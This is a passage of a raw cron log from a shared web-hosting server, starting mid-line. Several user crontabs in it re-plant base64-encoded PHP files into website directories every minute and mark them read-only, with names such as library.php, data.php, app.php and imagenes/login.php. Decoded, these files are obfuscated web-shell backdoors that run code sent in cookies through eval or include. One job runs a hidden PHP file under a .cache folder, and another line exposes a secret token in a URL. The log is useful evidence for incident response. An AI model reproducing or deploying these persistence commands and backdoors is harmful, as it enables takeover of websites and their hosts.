JheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:47:01 medusa CROND[30819]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:47:01 medusa CROND[30824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:48:01 medusa CROND[32703]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:48:01 medusa CROND[32702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:48:01 medusa CROND[32704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:48:01 medusa CROND[32705]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:48:01 medusa CROND[32706]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:48:01 medusa CROND[32707]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:48:01 medusa CROND[32710]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:48:01 medusa CROND[32711]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:48:01 medusa CROND[32713]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:48:01 medusa CROND[32715]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:48:01 medusa CROND[32712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:48:01 medusa CROND[32714]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:48:01 medusa CROND[32717]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:49:01 medusa CROND[2327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:49:02 medusa CROND[2339]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
Jun  7 06:49:02 medusa CROND[2340]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:49:02 medusa CROND[2341]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:49:02 medusa CROND[2342]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:49:02 medusa CROND[2345]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:49:02 medusa CROND[2343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:49:02 medusa CROND[2346]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:49:02 medusa CROND[2347]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:49:02 medusa CROND[2350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:49:02 medusa CROND[2354]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:49:02 medusa CROND[2357]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:49:02 medusa CROND[2358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4081]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:50:02 medusa CROND[4082]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
